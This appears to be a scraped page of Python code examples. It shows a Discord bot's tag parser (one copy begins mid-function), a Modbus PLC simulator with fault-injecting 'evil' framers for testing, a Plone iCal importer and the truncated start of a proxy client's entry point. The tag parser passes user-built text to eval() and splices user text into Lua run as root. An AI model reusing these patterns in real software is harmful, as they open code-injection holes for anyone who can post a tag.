			txt = txt.replace("{discrim}", ctx.message.author.discriminator)
			txt = txt.replace("{server}", ctx.message.server.name)
			txt = txt.replace("{serverid}", ctx.message.server.id)
			txt = txt.replace("{channel}", ctx.message.channel.name)
			txt = txt.replace("{channelid}", ctx.message.channel.id)
			if after != None and "{args}" in txt:
				txt = txt.replace("{args}", after)
			else:
				txt = txt.replace("{args}", "")
			if after != None and "{arg:" in txt:
				a = after.split()
				pos = s.replace("arg:", "")
				txt = txt.replace("{{arg:{0}}}".format(pos), a[int(pos)])
			else:
				pos = s.replace("arg:", "")
				txt = txt.replace("{{arg:{0}}}".format(pos), "")
			if after != None and "{argslen}" in txt:
				a = after.split()
				txt = txt.replace("{argslen}", str(len(a)))
			else:
				txt = txt.replace("{argslen}", "0")
			txt = txt.replace("{avatar}", "https://cdn.discordapp.com/avatars/{0}/{1}.jpg".format(ctx.message.author.id, ctx.message.author.avatar))
			if "{randuser}" in txt:
				m_c = len(ctx.message.server.members)
				rand = random.randint(1, m_c)
				count = 0
				random_user = ""
				for member in ctx.message.server.members:
					if count == rand:
						random_user = member
					else:
						count += 1
						continue
				txt = txt.replace("{randuser}", random_user.name)
			if "{randonline}" in txt:
				m_c = len(ctx.message.server.members)
				rand = random.randint(1, m_c)
				count = 1
				random_online_user = ""
				for member in ctx.message.server.members:
					if member.status == discord.Status.online:
						if count == rand:
							random_online_user = member.name
							break
						else:
							count += 1
							continue
					else:
						continue
				txt = txt.replace("{randonline}", random_online_user)
			if "{randchannel}" in txt:
				c_c = len(ctx.message.server.channels)
				rand = random.randint(1, c_c)
				count = 0
				for channel in ctx.message.server.channels:
					if count == rand:
						random_channel = channel.name
					else:
						count += 1
						continue
				txt = txt.replace("{randchannel}", random_channel)
# -------------------------DYNAMIC {s:s|s} SCRIPTING-------------------------
		regex_1 = r"\{(.+?):(.+?)\|(.+?)\}"
		match_1 = re.compile(regex_1).findall(txt)
		for s in match_1:
			if len(match_1) >= 1 and len(match_1[0]) < 3:
				return "Invalid replace/range scripting function, incorrect number of arguments passed in for \n{function:arg1|arg2} (arg1 and arg2 must have value)."
			arg = s[1]
			arg2 = s[2]
			if s[0] == "replace":
				txt = txt.replace("{{replace:{0}|{1}}}".format(arg, arg2), "")
				txt = re.sub(arg, arg2, txt)
			elif s[0] == "range":
				if check_int(arg) and check_int(arg2):
					rand = random.randint(int(arg), int(arg2))
					txt = txt.replace("{{range:{0}|{1}}}".format(arg, arg2), str(rand))
				else:
					txt = txt.replace("{{range:{0}|{1}}}".format(arg, arg2), "Range: Invalid Numbers")
# -------------------------IF/CONDITIONS SCRIPTING-------------------------
		if_regex = r"^\{(.+?):(.+?)\|(.+?)\|(.+?)\|then:(.+?)\|else:(.+?)\}$"
		if_match = re.compile(if_regex).findall(txt)
		for s in if_match:
			# if len(if_match) >= 1 and s[0] == "if" and len(if_match[0]) != 6:
			# 	return "Invalid tag, incorrect number of arguments passed in for \n{if:something|condition|something|then:sometext|else:sometext} Valid Conditions/Comparisons: `|=| (Equal) |<| (Less then) |>| (Greater then)`." # |~| (Rounded equal, Case-insensitive)
			if_arg = s[1]
			conditional = s[2]
			if_check_arg = s[3]
			then_arg = s[4]
			else_arg = s[5]
			if conditional == "=":
				if if_arg == if_check_arg:
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				else:
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
			elif conditional == "<":
				if check_int(if_arg) and check_int(if_check_arg) and int(if_arg) < int(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				elif check_int(if_arg) and check_int(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
				elif len(if_arg) < len(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				else:
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
			elif conditional == ">":
				if check_int(if_arg) and check_int(if_check_arg) and int(if_arg) > int(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				elif check_int(if_arg) and check_int(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
				elif len(if_arg) > len(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				else:
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
# -------------------------DYNAMIC {*:*} SCRIPTING-------------------------
		regex_3 = r"\{(.+?):(.+?)\}"
		match_3 = re.compile(regex_3).findall(txt)
		for s in match_3:
			if s[0] == "choose":
				split_c = s[1].split("|")
				txt = txt.replace("{{choose:{0}}}".format(s[1]), random.choice(split_c))
			elif s[0] == "lua":
				path = '/root/discord/files/lua/script.lua'
				f = open(path,'w')
				clean_lua = s[1].replace('"', "\'")
				if "function" in clean_lua:
					f.write('local sandbox = require"sandbox"\nlocal sf = sandbox.protect({0})\nprint(sf())'.format(clean_lua))
				else:
					f.write('local sandbox = require"sandbox"\nsandbox.run("{0}")'.format(clean_lua))
				f.close()
				try:
					lua = check_output(["luajit", "/root/discord/files/lua/script.lua"]).decode()
				except Exception as e:
					lua = ":warning: Lua Script Error or Loop Quota Exceeded"
				txt = txt.replace("{{lua:{0}}}".format(s[1]), str(lua))
				open(path, 'w').close()
			elif s[0] == "math":
				split = s[1].split("|")
				math_result = ""
				math_count = len(split)
				math_c = 1
				for k in split:
					if check_int(k):
						math_c += 1
						math_result += k
						if math_c == math_count:
							result = str(eval(math_result))
							txt = txt.replace("{{math:{0}}}".format(s[1]), result)
						else:
							continue
					else:
						math_c += 1
						math_result += k
		if len(txt) > 1500:
			return ":no_entry: **Truncated**\nTag Output Too Long (<= 1500)\n {0}".format(txt[:1500])
		else:
			return txt

Example 42

Project: NotSoBot
Source File: Tags.py
View license
	async def parser(self, ctx, txt:str, after:str=None):
# -------------------------STATIC {} SCRIPTING-------------------------
		regex_2 = r"\{(.+?)\}"
		match_2 = re.compile(regex_2).findall(txt)
		for s in match_2:
			txt = txt.replace("{user}", ctx.message.author.name)
			txt = txt.replace("{id}", ctx.message.author.id)
			txt = txt.replace("{usermention}", ctx.message.author.mention)
			if ctx.message.author.nick != None:
				txt = txt.replace("{nick}", ctx.message.author.nick)
			else:
				txt = txt.replace("{nick}", ctx.message.author.name)
			txt = txt.replace("{discrim}", ctx.message.author.discriminator)
			txt = txt.replace("{server}", ctx.message.server.name)
			txt = txt.replace("{serverid}", ctx.message.server.id)
			txt = txt.replace("{channel}", ctx.message.channel.name)
			txt = txt.replace("{channelid}", ctx.message.channel.id)
			if after != None and "{args}" in txt:
				txt = txt.replace("{args}", after)
			else:
				txt = txt.replace("{args}", "")
			if after != None and "{arg:" in txt:
				a = after.split()
				pos = s.replace("arg:", "")
				txt = txt.replace("{{arg:{0}}}".format(pos), a[int(pos)])
			else:
				pos = s.replace("arg:", "")
				txt = txt.replace("{{arg:{0}}}".format(pos), "")
			if after != None and "{argslen}" in txt:
				a = after.split()
				txt = txt.replace("{argslen}", str(len(a)))
			else:
				txt = txt.replace("{argslen}", "0")
			txt = txt.replace("{avatar}", "https://cdn.discordapp.com/avatars/{0}/{1}.jpg".format(ctx.message.author.id, ctx.message.author.avatar))
			if "{randuser}" in txt:
				m_c = len(ctx.message.server.members)
				rand = random.randint(1, m_c)
				count = 0
				random_user = ""
				for member in ctx.message.server.members:
					if count == rand:
						random_user = member
					else:
						count += 1
						continue
				txt = txt.replace("{randuser}", random_user.name)
			if "{randonline}" in txt:
				m_c = len(ctx.message.server.members)
				rand = random.randint(1, m_c)
				count = 1
				random_online_user = ""
				for member in ctx.message.server.members:
					if member.status == discord.Status.online:
						if count == rand:
							random_online_user = member.name
							break
						else:
							count += 1
							continue
					else:
						continue
				txt = txt.replace("{randonline}", random_online_user)
			if "{randchannel}" in txt:
				c_c = len(ctx.message.server.channels)
				rand = random.randint(1, c_c)
				count = 0
				for channel in ctx.message.server.channels:
					if count == rand:
						random_channel = channel.name
					else:
						count += 1
						continue
				txt = txt.replace("{randchannel}", random_channel)
# -------------------------DYNAMIC {s:s|s} SCRIPTING-------------------------
		regex_1 = r"\{(.+?):(.+?)\|(.+?)\}"
		match_1 = re.compile(regex_1).findall(txt)
		for s in match_1:
			if len(match_1) >= 1 and len(match_1[0]) < 3:
				return "Invalid replace/range scripting function, incorrect number of arguments passed in for \n{function:arg1|arg2} (arg1 and arg2 must have value)."
			arg = s[1]
			arg2 = s[2]
			if s[0] == "replace":
				txt = txt.replace("{{replace:{0}|{1}}}".format(arg, arg2), "")
				txt = re.sub(arg, arg2, txt)
			elif s[0] == "range":
				if check_int(arg) and check_int(arg2):
					rand = random.randint(int(arg), int(arg2))
					txt = txt.replace("{{range:{0}|{1}}}".format(arg, arg2), str(rand))
				else:
					txt = txt.replace("{{range:{0}|{1}}}".format(arg, arg2), "Range: Invalid Numbers")
# -------------------------IF/CONDITIONS SCRIPTING-------------------------
		if_regex = r"^\{(.+?):(.+?)\|(.+?)\|(.+?)\|then:(.+?)\|else:(.+?)\}$"
		if_match = re.compile(if_regex).findall(txt)
		for s in if_match:
			# if len(if_match) >= 1 and s[0] == "if" and len(if_match[0]) != 6:
			# 	return "Invalid tag, incorrect number of arguments passed in for \n{if:something|condition|something|then:sometext|else:sometext} Valid Conditions/Comparisons: `|=| (Equal) |<| (Less then) |>| (Greater then)`." # |~| (Rounded equal, Case-insensitive)
			if_arg = s[1]
			conditional = s[2]
			if_check_arg = s[3]
			then_arg = s[4]
			else_arg = s[5]
			if conditional == "=":
				if if_arg == if_check_arg:
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				else:
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
			elif conditional == "<":
				if check_int(if_arg) and check_int(if_check_arg) and int(if_arg) < int(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				elif check_int(if_arg) and check_int(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
				elif len(if_arg) < len(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				else:
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
			elif conditional == ">":
				if check_int(if_arg) and check_int(if_check_arg) and int(if_arg) > int(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				elif check_int(if_arg) and check_int(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
				elif len(if_arg) > len(if_check_arg):
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), then_arg)
				else:
					txt = txt.replace("{{if:{0}|{1}|{2}|then:{3}|else:{4}}}".format(if_arg, conditional, if_check_arg, then_arg, else_arg), else_arg)
# -------------------------DYNAMIC {*:*} SCRIPTING-------------------------
		regex_3 = r"\{(.+?):(.+?)\}"
		match_3 = re.compile(regex_3).findall(txt)
		for s in match_3:
			if s[0] == "choose":
				split_c = s[1].split("|")
				txt = txt.replace("{{choose:{0}}}".format(s[1]), random.choice(split_c))
			elif s[0] == "lua":
				path = '/root/discord/files/lua/script.lua'
				f = open(path,'w')
				clean_lua = s[1].replace('"', "\'")
				if "function" in clean_lua:
					f.write('local sandbox = require"sandbox"\nlocal sf = sandbox.protect({0})\nprint(sf())'.format(clean_lua))
				else:
					f.write('local sandbox = require"sandbox"\nsandbox.run("{0}")'.format(clean_lua))
				f.close()
				try:
					lua = check_output(["luajit", "/root/discord/files/lua/script.lua"]).decode()
				except Exception as e:
					lua = ":warning: Lua Script Error or Loop Quota Exceeded"
				txt = txt.replace("{{lua:{0}}}".format(s[1]), str(lua))
				open(path, 'w').close()
			elif s[0] == "math":
				split = s[1].split("|")
				math_result = ""
				math_count = len(split)
				math_c = 1
				for k in split:
					if check_int(k):
						math_c += 1
						math_result += k
						if math_c == math_count:
							result = str(eval(math_result))
							txt = txt.replace("{{math:{0}}}".format(s[1]), result)
						else:
							continue
					else:
						math_c += 1
						math_result += k
		if len(txt) > 1500:
			return ":no_entry: **Truncated**\nTag Output Too Long (<= 1500)\n {0}".format(txt[:1500])
		else:
			return txt

Example 43

Project: cpppo
Source File: modbus_sim.py
View license
def main( argv=None ):
    parser			= argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog = """\
    If an address starting with '/' is provided (eg. --address /dev/ttyS1), then
    a Modbus/RTU serial framer is assumed.  Otherwise, a Modbus/TCP framer is used.

    The --evil option takes the following :
      truncate         -- return only part of the response
      delay[:#.#[-#.#]]-- delay response by #.#[-#.#] seconds (default == 5)
      corrupt[:<shat>] -- corrupt Modbus/TCP protocol response (default == "transaction")
         :transaction    -- Transaction ID (only relevant to Modbus/TCP servers)
         :protocol       -- Protocol ID
         :unit           -- Unit number
         :function       -- Function code
         :registers      -- Amount of response data

    Register range(s) and value(s) must be supplied:

      <begin>[-<end>][=<val>[,<val>]]

    EXAMPLE

      modbus_sim.py --address localhost:7502 --evil delay:2.5 40001-40100

        Starts a simulated Modbus/TCP PLC serving Holding registers 40001-40100
        == 0, on port 7502 on interface 'localhost', which delays all responses
        for 2.5 seconds.

      modbus_sim.py --address /dev/ttyS0 --evil delay:.01-.1 40001-40100

        Starts a simulated Modbus/RTU PLC serving Holding registers 40001-40100
        == 0, on serial port /dev/ttyS0, which delays all responses for between
        .01-.1 seconds.

    """ )
    parser.add_argument( '-v', '--verbose',
                         default=1, action="count", help="Display logging information." )
    parser.add_argument('-l', '--log',
                        type=str, default=None, help="Direct log output to the specified file" )
    parser.add_argument( '-a', '--address', default="0.0.0.0:502",
                         help="Default [interface][:port] to bind to (default: any, port 502)" )
    parser.add_argument( '-r', '--range',	default=1,
                         help="Number of ports to try, if busy       (default: 1)" )
    parser.add_argument( '-e', '--evil',	default=None,
                         help="Evil Modbus/TCP protocol framer       (default: None)" )
    parser.add_argument( '-c', '--config',	default=None,
                         help="""JSON config data for Modbus framer (eg. {"baudrate":19200}) (default: None)""" )
    parser.add_argument( 'registers', nargs="+" )
    args			= parser.parse_args( argv )

    # Deduce logging level and target file (if any)
    levelmap			= {
        0: logging.CRITICAL,
        1: logging.ERROR,
        2: logging.WARNING,
        3: logging.INFO,
        4: logging.DEBUG,
        }
    cpppo.log_cfg['level']	= ( levelmap[args.verbose]
                                    if args.verbose in levelmap
                                    else logging.DEBUG )
    if args.log:
        cpppo.log_cfg['filename']= args.log # log rotation not supported

    logging.basicConfig( **cpppo.log_cfg )

    #---------------------------------------------------------------------------#
    # run the server you want
    #---------------------------------------------------------------------------#

    # Deduce interface:port to bind, and correct types.  Interface defaults to
    # '' (INADDR_ANY) if only :port is supplied.  Port defaults to 502 if only
    # interface is supplied.  After this block, 'address' is always a tuple like
    # ("interface",502).  If '/', then start a Modbus/RTU serial server,
    # otherwise a Modbus/TCP network server.  Create an address_sequence
    # yielding all the relevant target addresses we might need to try.

    # We must initialize 'framer' here (even if its the same as the 'starter'
    # default), because we may make an Evil...() derived class below...
    starter_kwds		= {}
    if args.address.startswith( '/' ):
        starter			= StartRtuServerLogging
        framer			= modbus_rtu_framer_collecting
        try:
            import serial
        except ImportError:
            logging.error( "Modbus/RTU not supported; ensure PySerial is available" )
            raise
        starter_kwds		= {
            # Default serial configs; may be overridden, eg:
            #     --config '{"baudrate":19200, "slaves":[1,2,3]}'
            'stopbits':			1,
            'bytesize':			8,
            'parity':			serial.PARITY_NONE,
            'baudrate':			4800,
            'timeout':			0.5,
            'slaves':			None,
            'ignore_missing_slaves':	True,
        }
        address_sequence	= [ args.address ]
        assert args.range == 1, \
            "A range of serial ports is unsupported"
    else:
        starter			= StartTcpServerLogging
        framer			= ModbusSocketFramer
        address			= args.address.split(':')
        assert 1 <= len( address ) <= 2
        address			= (
            str( address[0] ),
            int( address[1] ) if len( address ) > 1 else Defaults.Port )
        log.info( "--server '%s' produces address=%r", args.address, address )
        address_sequence	= (
            (address[0],port)
            for port in range( address[1], address[1] + int( args.range ))
        )

    #---------------------------------------------------------------------------#
    # Evil Framers, manipulate packets resulting from underlying Framers
    #---------------------------------------------------------------------------#
    if args.evil == "truncate":

        class EvilFramerTruncateResponse( framer ):
            def buildPacket(self, message):
                ''' Creates a *truncated* ready to send modbus packet.  Truncates from 1
                to all of the bytes, before returning response.

                :param message: The populated request/response to send
                '''
                packet		= super( EvilFramerTruncateResponse, self ).buildPacket( message )
                datalen		= len( packet )
                corrlen		= datalen - random.randint( 1, datalen )

                log.info( "Corrupting response; truncating from %d to %d bytes", datalen, corrlen )

                return packet[:corrlen]

        framer			= EvilFramerTruncateResponse
        log.info( "--evil '%s' uses EvilFramerTruncateResponse", args.evil )

    elif args.evil and args.evil.startswith( 'delay' ):

        class EvilFramerDelayResponse( framer ):
            delay		= 5

            def buildPacket(self, message):
                ''' Creates a ready to send modbus packet but delays the return.

                :param message: The populated request/response to send
                '''
                packet		= super( EvilFramerDelayResponse, self ).buildPacket( message )

                log.info( "Delaying response for %s seconds", self.delay )
                delay		= self.delay
                if isinstance( delay, (list,tuple) ):
                    delay	= random.uniform( *delay )
                time.sleep( delay )

                return packet

        framer			= EvilFramerDelayResponse
        # If a "--evil delay:1.5" is provided, pull out the number and change
        # the ModbusSockerFramerDelayResponse class' .delay value to the specified
        # number of seconds
        req			= args.evil.split( ':', 1 )
        assert 1 <= len( req ) <= 2
        if len( req ) == 2:
            # Specified delay value or range
            delay		= tuple( map( float, req[1].split( '-' )))
            assert 1 <= len( delay ) <= 2
            EvilFramerDelayResponse.delay = delay if len( delay ) > 1 else delay[0]
        log.info( "--evil '%s' uses EvilFramerDelayResponse, which delays responses for %s seconds",
                args.evil, EvilFramerDelayResponse.delay )

    elif args.evil and args.evil.startswith( 'corrupt' ):

        class EvilFramerCorruptResponse( framer ):
            what			= "transaction"

            def buildPacket(self, message):
                ''' Creates a *corrupted* ready to send modbus packet.  Truncates from 1
                to all of the bytes, before returning response.

                :param message: The populated request/response to send

                WARNING: pymodbus seems to swallow any exceptions thrown by these
                methods.  This seems like a defect; it should log them, at least.
                '''
                try:
                    log.info("Encoding package")
                    message.encode()

                    if self.what == "transaction":
                        message.transaction_id ^= 0xFFFF
                        packet	= super( EvilFramerCorruptResponse, self ).buildPacket( message )
                        message.transaction_id ^= 0xFFFF
                    elif self.what == "registers":
                        if isinstance( message, ReadRegistersResponseBase ):
                            # These have '.registers' attribute, which is a list.
                            # Add/remove some
                            saveregs		= message.registers
                            if len( message.registers ) == 0 or random.randint( 0, 1 ):
                                message.registers += [999]
                            else:
                                message.registers = message.registers[:-1]
                            packet		= super( EvilFramerCorruptResponse, self ).buildPacket( message )
                            message.registers	= saveregs
                        elif isinstance( message, WriteSingleRegisterResponse ):
                            # Flip the responses address bits and then flip them back.
                            message.address    ^= 0xFFFF
                            packet		= super( EvilFramerCorruptResponse, self ).buildPacket( message )
                            message.address    ^= 0xFFFF
                        elif isinstance( message, WriteMultipleRegistersResponse ):
                            # Flip the responses address bits and then flip them back.
                            message.address    ^= 0xFFFF
                            packet		= super( EvilFramerCorruptResponse, self ).buildPacket( message )
                            message.address    ^= 0xFFFF
                        else:
                            raise NotImplementedException(
                                "Unhandled class for register corruption; not implemented" )
                    elif self.what == "protocol":
                        message.protocol_id    ^= 0xFFFF
                        packet			= super( EvilFramerCorruptResponse, self ).buildPacket( message )
                        message.protocol_id    ^= 0xFFFF
                    elif self.what == "unit":
                        message.unit_id	       ^= 0xFF
                        packet			= super( EvilFramerCorruptResponse, self ).buildPacket( message )
                        message.unit_id	       ^= 0xFF
                    elif self.what == "function":
                        message.function_code  ^= 0xFF
                        packet			= super( EvilFramerCorruptResponse, self ).buildPacket( message )
                        message.function_code  ^= 0xFF
                    else:
                        raise NotImplementedException(
                            "Unknown corruption specified; not implemented" )
                except Exception:
                    log.info( "Could not build corrupt packet: %s", traceback.format_exc() )
                return packet

        framer			= EvilFramerCorruptResponse
        # If a "--evil corrupt:<what>" is provided, corrupt the specified entry.
        req			= args.evil.split(":", 1)
        assert 1 <= len( req ) <= 2
        if len( req ) == 2:
            EvilFramerCorruptResponse.what = req[1]
        log.info( "--evil '%s' uses EvilFramerCorruptResponse, which corrupts the responses %s entry",
                args.evil, EvilFramerCorruptResponse.what )

    elif args.evil:

        log.error( "Unrecognized --evil argument: %s", args.evil )
        return 1

    if args.config:
        try:
            starter_kwds.update( **json.loads( args.config ))
        except Exception as exc:
            log.error( "Failed to parse JSON --config Modbus Framer config: %s; %s", args.config, exc )
            raise

    #---------------------------------------------------------------------------#
    # Start the PLC simulation engine on a port in the range; will serve forever
    #---------------------------------------------------------------------------#
    for address in address_sequence:
        try:
            for k in sorted( starter_kwds.keys() ):
                log.info( "config: %24s: %s", k, starter_kwds[k] )
            starter( registers=args.registers, framer=framer, address=address, **starter_kwds )
        except KeyboardInterrupt:
            return 1
        except Exception as exc:
            log.info( "Couldn't start PLC simulator on %s: %s",
                    address, traceback.format_exc() )

    log.error( "Failed to start PLC simulator on %s, over a range of %s ports",
               args.address, args.range )
    return 1

Example 44

Project: plone.app.event
Source File: importer.py
View license
def ical_import(container, ics_resource, event_type,
                sync_strategy=base.SYNC_KEEP_NEWER):
    cal = icalendar.Calendar.from_ical(ics_resource)
    events = cal.walk('VEVENT')

    cat = getToolByName(container, 'portal_catalog')
    container_path = '/'.join(container.getPhysicalPath())

    def _get_by_sync_uid(uid):
        return cat(
            sync_uid=uid,
            path={'query': container_path, 'depth': 1}
        )

    def _get_prop(prop, item, default=None):
        ret = default
        if prop in item:
            ret = safe_unicode(item.decoded(prop))
        return ret

    def _from_list(ical, prop):
        """For EXDATE and RDATE recurrence component properties, the dates can
        be defined within one EXDATE/RDATE line or for each date an individual
        line.
        In the latter case, icalendar creates a list.
        This method handles this case.

        TODO: component property parameters like TZID are not used here.
        """
        val = ical[prop] if prop in ical else []
        if not isinstance(val, list):
            val = [val]
        #ret = ''
        #for item in val:
        #    ret = '%s\n' % ret if ret else ret  # insert linebreak
        #    ret = '%s%s:%s' % (ret, prop, item.to_ical())
        #return ret

        # Zip multiple lines into one, since jquery.recurrenceinput.js does
        # not support multiple lines here
        # https://github.com/collective/jquery.recurrenceinput.js/issues/15
        ret = ''
        for item in val:
            ret = '%s,' % ret if ret else ret  # insert linebreak
            ret = '%s%s' % (ret, item.to_ical())
        return '%s:%s' % (prop, ret) if ret else None

    count = 0
    for item in events:
        start = _get_prop('DTSTART', item)
        end = _get_prop('DTEND', item)
        if not end:
            duration = _get_prop('DURATION', item)
            if duration:
                end = start + duration
            # else: whole day or open end

        whole_day = False
        open_end = False
        if is_date(start) and (is_date(end) or end is None):
            # All day / whole day events
            # End must be same type as start (RFC5545, 3.8.2.2)
            whole_day = True
            if end is None:
                end = start
            if start < end:
                # RFC5545 doesn't define clearly, if all day events should have
                # a end date one day after the start day at 0:00.
                # Internally, we handle all day events with start=0:00,
                # end=:23:59:59, so we substract one day here.
                end = end - datetime.timedelta(days=1)
            start = base.dt_start_of_day(date_to_datetime(start))
            end = base.dt_end_of_day(date_to_datetime(end))
        elif is_datetime(start) and end is None:
            # Open end event, see RFC 5545, 3.6.1
            open_end = True
            end = base.dt_end_of_day(date_to_datetime(start))
        assert(is_datetime(start))
        assert(is_datetime(end))

        # Set timezone, if not already set
        tz = base.default_timezone(container, as_tzinfo=True)
        if not getattr(start, 'tzinfo', False):
            start = tz.localize(start)
        if not getattr(end, 'tzinfo', False):
            end = tz.localize(end)

        title = _get_prop('SUMMARY', item)
        description = _get_prop('DESCRIPTION', item)
        location = _get_prop('LOCATION', item)

        url = _get_prop('URL', item)

        rrule = _get_prop('RRULE', item)
        rrule = 'RRULE:%s' % rrule.to_ical() if rrule else ''
        rdates = _from_list(item, 'RDATE')
        exdates = _from_list(item, 'EXDATE')
        rrule = '\n'.join([it for it in [rrule, rdates, exdates] if it])

        # TODO: attendee-lists are not decoded properly and contain only
        # vCalAddress values
        attendees = item.get('ATTENDEE', ())

        contact = _get_prop('CONTACT', item)
        categories = item.get('CATEGORIES', ())
        if getattr(categories, '__iter__', False):
            categories = tuple([safe_unicode(it) for it in categories])

        ext_modified = utc(_get_prop('LAST-MODIFIED', item))

        # TODO: better use plone.api for content creation, from which some of
        # the code here is copied

        content = None
        new_content_id = None
        existing_event = None
        sync_uid = _get_prop('UID', item)
        if sync_strategy != base.SYNC_NONE and sync_uid:
            existing_event = _get_by_sync_uid(sync_uid)
        if existing_event:
            if sync_strategy == base.SYNC_KEEP_MINE:
                # On conflict, keep mine
                continue

            exist_event = existing_event[0].getObject()
            acc = IEventAccessor(exist_event)

            if sync_strategy == base.SYNC_KEEP_NEWER and\
                    (not ext_modified or acc.last_modified > ext_modified):
                # Update only if modified date was passed in and it is not
                # older than the current modified date.  The client is not
                # expected to update the "last-modified" property, it is the
                # job of the server (calendar store) to keep it up to date.
                # This makes sure the client did the change on an up-to-date
                # version of the object.  See
                # http://tools.ietf.org/search/rfc5545#section-3.8.7.3
                continue

            # Else: update
            content = exist_event
        else:
            # TODO: if AT had the same attrs like IDXEventBase, we could set
            # everything within this invokeFactory call.
            new_content_id = str(random.randint(0, 99999999))
            container.invokeFactory(event_type,
                                    id=new_content_id,
                                    title=title,
                                    description=description)
            content = container[new_content_id]

        assert(content)  # At this point, a content must be available.

        event = IEventAccessor(content)
        event.title = title
        event.description = description
        event.start = start
        event.end = end
        event.whole_day = whole_day
        event.open_end = open_end
        event.location = location
        event.event_url = url
        event.recurrence = rrule
        event.attendees = attendees
        event.contact_name = contact
        event.subjects = categories
        if sync_strategy != base.SYNC_NONE:
            # Don't import the sync_uid, if no sync strategy is chosen. Let the
            # sync_uid be autogenerated then.
            event.sync_uid = sync_uid
        notify(ObjectModifiedEvent(content))

        # Use commits instead of savepoints to avoid "FileStorageError:
        # description too long" on large imports.
        transaction.get().commit()  # Commit before rename

        if new_content_id and new_content_id in container:
            # Rename with new id from title, if processForm didn't do it.
            chooser = INameChooser(container)
            new_id = chooser.chooseName(title, content)
            content.aq_parent.manage_renameObject(new_content_id, new_id)

        # Do this at the end, otherwise it's overwritten
        if ext_modified:
            event.last_modified = ext_modified

        count += 1

    return {'count': count}

Example 45

Project: arkc-client
Source File: main.py
View license
def main():
    global Mode
    parser = argparse.ArgumentParser(description=None)
    try:
        # Load arguments
        parser.add_argument(
            "-v", dest="v", action="store_true", help="show detailed logs")
        parser.add_argument(
            "-vv", dest="vv", action="store_true", help="show debug logs")
        # TODO: use native function
        parser.add_argument(
            "--version", dest="version", action="store_true", help="show version number")
        parser.add_argument('-kg', '--keygen', dest="kg", action='store_true',
                            help="Generate a key string and quit, overriding other options.")
        parser.add_argument('--kg-path', '--keygen-path', dest="kg_save_path",
                            help="Where to store a key string, if not set, use default.")
        parser.add_argument('-reg', '--keygen-email-register', dest="email_dest",
                            help="Email destination to register the key.")
        parser.add_argument('--get-meek', dest="dlmeek", action="store_true",
                            help="Download meek to home directory, overriding normal options")
        parser.add_argument('-c', '--config', dest="config", default=None,
                            help="Specify a configuration files, REQUIRED for ArkC Client to start")
        parser.add_argument('-g', '--gae', dest="gae", action='store_true',
                            help="Use GAE mode")
        parser.add_argument('-fs', '--frequent-swap', dest="fs", action="store_true",
                            help="Use frequent connection swapping")
        parser.add_argument('-pn', '--public-addr', dest="pn", action="store_true",
                            help="Disable UPnP when you have public network IP address (or NAT has been manually configured)")

        parser.add_argument("-v6", dest="ipv6", default="",
                            help="Enable this option to use IPv6 address (only use it if you have one)")
        print("""ArkC Client V""" + VERSION + """,  by ArkC Technology.
The programs is distributed under GNU General Public License Version 2.
""")

        options = parser.parse_args()

        if options.vv:
            logging.basicConfig(
                stream=sys.stdout, level=logging.DEBUG, format="%(levelname)s: %(asctime)s; %(message)s")
        elif options.v:
            logging.basicConfig(
                stream=sys.stdout, level=logging.INFO, format="%(levelname)s: %(asctime)s; %(message)s")
        else:
            logging.basicConfig(
                stream=sys.stdout, level=logging.WARNING, format="%(levelname)s: %(asctime)s; %(message)s")

        if options.gae:
            Mode = "GAE"
            logging.info("Using GAE mode.")
        else:
            Mode = "VPS"
            logging.info("Using VPS mode.")

        if options.version:
            print("ArkC Client Version " + VERSION)
            sys.exit()
        elif options.kg:
            genkey(options)
        elif options.dlmeek:
            dlmeek()
        elif options.config is None:
